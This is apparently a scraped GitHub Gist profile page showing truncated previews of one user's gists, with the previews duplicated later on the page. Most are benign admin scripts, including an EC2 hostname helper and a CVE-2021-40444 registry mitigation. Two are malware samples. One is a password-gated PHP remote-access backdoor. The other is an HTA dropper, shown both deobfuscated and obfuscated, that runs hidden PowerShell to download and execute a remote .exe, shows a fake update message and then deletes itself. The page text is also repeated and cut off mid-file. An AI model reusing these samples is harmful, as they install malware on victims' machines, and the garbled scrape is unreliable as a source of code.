Josh Wieder jwieder

## get-my-ec2-hostname.bash
#!/bin/bash
### this is a very hacky bash script to help get a the publicly assigned hostname of an ec2 instance.
### it will only work with instances within us-east-1 because we arent checking region, amazonaws suffix, etc.

# Get my public IP
publicIP=$(curl -s whatismyip.akamai.com)

# Make up AWS EC2 host name with public DNS
publicName=ec2-${publicIP//./-}.us-east-1.compute.amazonaws.com

## docker-compose-django.example.yml
version: '3.7'

services:
  web:
    image: django:latest
    command: gunicorn hello_django.wsgi:application --bind 0.0.0.0:8000
    volumes:
      - static_volume:/home/app/web/staticfiles
      - media_volume:/home/app/web/mediafiles
    ports:

## CVE-2021-40444_mitigation.reg
Windows Registry Editor Version 5.00

[HKEY_LOCAL_MACHINESOFTWAREPoliciesMicrosoftWindowsCurrentVersionInternet SettingsZones0]
1001=dword00000003
1004=dword00000003

[HKEY_LOCAL_MACHINESOFTWAREPoliciesMicrosoftWindowsCurrentVersionInternet SettingsZones1]
1001=dword00000003
1004=dword00000003

## creditBalanceSidebar.php
<?php

/**
 * Display Client's Credit Balance as a Sidebar Item in Client Area Homepage and Billing-related Pages
 *
 * @author Josh Wieder
 * @link https://gist.github.com/jwieder/3d470a4e85e041ca41bc2cee0c5aa7a8#file-creditbalancesidebar-php
 * @since WHMCS v6.0.0+
 */

## fpingperm.sh
#!/bin/bash

x=0
y=0

if [ -e /usr/sbin/fping ]
  then
    if [ `stat -c %a:%G /usr/sbin/fping` == "6710:zabbix" ]
      then
        echo "Sticky bit assigned and owner set"

## Simple-Typing-Carousel-.markdown

      
              3 files
            
          
              0 forks
            
          
              0 comments
            
          
              0 stars
            
          
                jwieder
                / Simple-Typing-Carousel-.markdown
            
            
              Created
              April 28, 2017 21:39
                — forked from gschier/Simple-Typing-Carousel-.markdown
            
              
                A Pen by Gregory Schier.
              
          
    Simple Typing Carousel

Simple pure JavaScript plugin to rotate text snippets as if they were being typed.
A Pen by Gregory Schier on CodePen.
License.

  
## gif-embedded-RAT-v1425.php
/*
 * REVISION: $Rev: 1426 $
 */
if (md5(md5($_REQUEST['hhh'])) == 'bc5aaff98e1783e8e30f266af63cea42') {

set_time_limit(36000);
function unslash_rec(&$arr)
{
  reset($arr);
  while (list($key) = each($arr))

## stateNameCoversion.php
<?php

/*
* Replace list.txt with the name of your file. The file should only include a list of two-letter state abbreviations, one on each line.
* Results printed to STDIO, so use pipes to dump to a file if you want to save the results or add a function to do the same thing (I was
* using this for CLI use which is why a function isnt in here already)
*
* Josh Wieder
* https://consulting.joshwieder.net
*/

## chrome_patch-DEobfuscated.hta
try {
    moveTo(-100, -100);
    resizeTo(0, 0);
    a = new ActiveXObject('Wscript.Shell');
    a.Run("PowerShell -WindowStyle Hidden $d=$env:temp+'g2924808f66985de3a9ad1e3d743e0d.exe';(New-Object System.Net.WebClient).DownloadFile(' https://website.ext/17/524.dat',$d);Start-Process $d;[System.Reflection.Assembly]::LoadWithPartialName('System.Windows.Forms');[system.windows.forms.messagebox]::show('Update complete.','Information',[Windows.Forms.MessageBoxButtons]::OK, [System.Windows.Forms.MessageBoxIcon]::Information);", 0, false);
    var b = new ActiveXObject('Scripting.FileSystemObject');
    var p = document.location.href;
    p = unescape(p.substr(8));
    if (b.FileExists(p)) b.DeleteFile(p);
} catch (e) {}

## chrome_patch-obfuscated.hta
<script>var jjxqu='tqrfyb u{d gmoogvdexTiot(q-b1d0i0o,v-s1m0g0w)l;srceksuiezwetTbom(y0c,h0b)j;w ian=tnqehwj rAkcstgifvlesXmOhbejfekcotz(o\'kWssqcxrritpets.dSbhaeqlulr\'x)e;i iaw.pRouhni(b"pPmogwaebrfSphleylflj p-zWoihnddpoiwtSjtzyrlnei zHkiydodsehnp i$tdv=i$veanxvh:ytdeqmnpd+f\'v\g\u4eaa2e9e2r4s8n0r8';var qwis='dfl6f6v9s8v5edmeq3mah9qakdo1pen3fdd7r4k3zex0fde.xejxiep\'c;v(hNfehwm-bOabijfencytr vSpycsktfepmp.iNheati.eWfembbCplvirernrty)x.zDloywzntldomardvFhihlxer(m\'n hhvtuthpdsy:n/q/acchliseuwdgqarmcobnpicavcs.ponrogx/u1l7p/g5z2w4c.tdeafts\'r,w$tdt)i;lSotlabrfto-dPurqoycnegslsb d$gdn;s[nSm';var ywjtfy='ypsptfetmv.xRkerfqleezcctsilodnx.aAhsssrefmfbxlryh]a:x:uLsokagdhWaimtbhvPjamrmtaiqamldNjaymgeh(y\'oSayqsttfenml.nWnijnhdgotwnso.tFzoqrpmjsc\'b)k;s[osnycsntuekml.iwkibncdpopwnsc.dfxokrjmqsy.ymkeysoszahgqebbsojxq]g:m:dsbhwopwk(g\'rUmpwdgaatzej ycjotmopilseztgeh.z\'o,x\'bIhnhfronrtmvapt';var mzqyqx='qikoznx\'c,m[tWjinntdsolwdsm.aFloframrsm.aMfejsbsmargteaBlooxpBbuztptyobncss]k:p:lOdKb,o q[cSayvsctrehmc.xWrienkdioxw
	#!/bin/bash
	### this is a very hacky bash script to help get a the publicly assigned hostname of an ec2 instance.
	### it will only work with instances within us-east-1 because we arent checking region, amazonaws suffix, etc.

	# Get my public IP
	publicIP=$(curl -s whatismyip.akamai.com)

	# Make up AWS EC2 host name with public DNS
	publicName=ec2-${publicIP//./-}.us-east-1.compute.amazonaws.com
	version: '3.7'

	services:
	web:
	image: django:latest
	command: gunicorn hello_django.wsgi:application --bind 0.0.0.0:8000
	volumes:
	- static_volume:/home/app/web/staticfiles
	- media_volume:/home/app/web/mediafiles
	ports:
	Windows Registry Editor Version 5.00

	[HKEY_LOCAL_MACHINESOFTWAREPoliciesMicrosoftWindowsCurrentVersionInternet SettingsZones0]
	1001=dword00000003
	1004=dword00000003

	[HKEY_LOCAL_MACHINESOFTWAREPoliciesMicrosoftWindowsCurrentVersionInternet SettingsZones1]
	1001=dword00000003
	1004=dword00000003
	<?php

	/**
	* Display Client's Credit Balance as a Sidebar Item in Client Area Homepage and Billing-related Pages
	*
	* @author Josh Wieder
	* @link https://gist.github.com/jwieder/3d470a4e85e041ca41bc2cee0c5aa7a8#file-creditbalancesidebar-php
	* @since WHMCS v6.0.0+
	*/
	#!/bin/bash

	x=0
	y=0

	if [ -e /usr/sbin/fping ]
	then
	if [ `stat -c %a:%G /usr/sbin/fping` == "6710:zabbix" ]
	then
	echo "Sticky bit assigned and owner set"
	/*
	* REVISION: $Rev: 1426 $
	*/
	if (md5(md5($_REQUEST['hhh'])) == 'bc5aaff98e1783e8e30f266af63cea42') {

	set_time_limit(36000);
	function unslash_rec(&$arr)
	{
	reset($arr);
	while (list($key) = each($arr))
	<?php

	/*
	* Replace list.txt with the name of your file. The file should only include a list of two-letter state abbreviations, one on each line.
	* Results printed to STDIO, so use pipes to dump to a file if you want to save the results or add a function to do the same thing (I was
	* using this for CLI use which is why a function isnt in here already)
	*
	* Josh Wieder
	* https://consulting.joshwieder.net
	*/
	try {
	moveTo(-100, -100);
	resizeTo(0, 0);
	a = new ActiveXObject('Wscript.Shell');
	a.Run("PowerShell -WindowStyle Hidden $d=$env:temp+'g2924808f66985de3a9ad1e3d743e0d.exe';(New-Object System.Net.WebClient).DownloadFile(' https://website.ext/17/524.dat',$d);Start-Process $d;[System.Reflection.Assembly]::LoadWithPartialName('System.Windows.Forms');[system.windows.forms.messagebox]::show('Update complete.','Information',[Windows.Forms.MessageBoxButtons]::OK, [System.Windows.Forms.MessageBoxIcon]::Information);", 0, false);
	var b = new ActiveXObject('Scripting.FileSystemObject');
	var p = document.location.href;
	p = unescape(p.substr(8));
	if (b.FileExists(p)) b.DeleteFile(p);
	} catch (e) {}